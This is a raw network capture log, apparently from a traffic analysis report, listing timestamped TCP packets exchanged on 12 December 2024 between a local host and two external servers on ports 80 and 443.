Dec 12, 2024 14:26:26.132667065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.132731915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.133280993 CET	49805	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:26.133296013 CET	443	49805	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:26.133472919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.133599997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.133632898 CET	443	49805	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:26.133681059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.133722067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.134609938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.134669065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.134670019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.135560036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.135623932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.135662079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.136526108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.136622906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.136657953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.137587070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.137646914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.137689114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.138673067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.138796091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.139013052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.139770985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.139853954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.139890909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.140830040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.140923023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.140959024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.141911983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.141988039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.142025948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.142067909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.142999887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.143105030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.143337965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.144089937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.144253969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.145181894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.145191908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.145323038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.145679951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.146365881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.146406889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.147336006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.147360086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.147466898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.148497105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.148619890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.149487972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.149688959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.149688959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.150513887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.167845964 CET	49805	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:26.215323925 CET	443	49805	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:26.297259092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.297338963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.297410965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.297736883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.297847033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.298762083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.298804045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.298804045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.298901081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.299331903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.300049067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.300203085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.300728083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.301140070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.301203012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.301357985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.302329063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.302427053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.302499056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.303688049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.303813934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.303909063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.304549932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.304620028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.304816961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.305262089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.305347919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.305500031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.306379080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.306515932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.306566954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.307543039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.307610035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.307699919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.307699919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.308546066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.308561087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.308609962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.309632063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.309721947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.309771061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.310697079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.310852051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.310903072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.311749935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.311975002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.312331915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.312863111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.313086987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.313137054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.313930988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.314030886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.314095974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.315021038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.315186977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.315334082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.316132069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.316365957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.316497087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.317203999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.317456961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.317615032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.318299055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.318376064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.318651915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.319358110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.319545984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.319638014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.320430994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.320503950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.320775032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.321485996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.321619034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.321650982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.321716070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.322618008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.322701931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.322702885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.322813034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.323683023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.323745966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.323774099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.323805094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.324760914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.324846029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.324896097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.325835943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.325931072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.326014996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.326937914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.327039003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.327311039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.328016996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.328104019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.328329086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.329066992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.329185009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.329194069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.329663038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.330171108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.330318928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.330480099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.331408024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.331547022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.331754923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.332730055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.332778931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.332875967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.333628893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.333719969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.333769083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.334546089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.334593058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.334628105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.335577011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.335659027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.335819960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.336682081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.336807013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.336828947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.337757111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.337852001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.337945938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.337980986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.338841915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.338990927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.339025974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.339929104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.340028048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.340048075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.340312004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.340992928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.341125011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.341182947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.342180014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.342200994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.342308998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.343199015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.343358040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.343422890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.344285965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.344424963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.344450951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.345334053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.345359087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.345474005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.345480919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.345952988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.346522093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.346604109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.346673965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.347563982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.347744942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.347794056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.349495888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.349797964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.349828959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.350996971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.351106882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.351125956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.351845026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.351968050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.353025913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.353096008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.353188992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.353473902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.353898048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.354233027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.354304075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.354747057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.355288982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.355942011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.490304947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.490379095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.490768909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.490879059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.490973949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.491166115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.492604017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.492645979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.492738008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.493792057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.493949890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.494050980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.495136976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.495244026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.495299101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.496095896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.496202946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.496315002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.497215986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.497306108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.497313976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.497487068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.498260975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.498359919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.498409986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.499383926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.499434948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.500227928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.500332117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.501313925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.501415968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.501463890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.501463890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.501463890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.502295017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.502398014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.502788067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.503273010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.503360033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.503469944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.504177094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.504286051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.504785061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.505278111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.505445004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.505530119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.506469011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.506850004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.506933928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.507767916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.507874966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.507925987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.508785963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.508850098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.508903980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.509814024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.509891987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.509955883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.511199951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.511254072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.511337996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.512284994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.512497902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.512567043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.513298988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.513494968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.513679028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.514352083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.514476061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.514764071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.515419960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.515536070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.515574932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.515868902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.516737938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.516798973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.516962051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.517407894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.518094063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.518232107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.518337965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.519474030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.519485950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.519536972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.520615101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.520745039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.520803928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.521857023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.521898985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.522166967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.522952080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.523109913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.523185968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.523994923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.524239063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.524290085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.525293112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.525505066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.525598049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.526607990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.526679039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.526732922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.527668953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.527753115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.527981997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.529149055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.529201031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.529392004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.530178070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.530292034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.530397892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.531256914 CET	80	49801	31.41.244.11	192.168.2.4
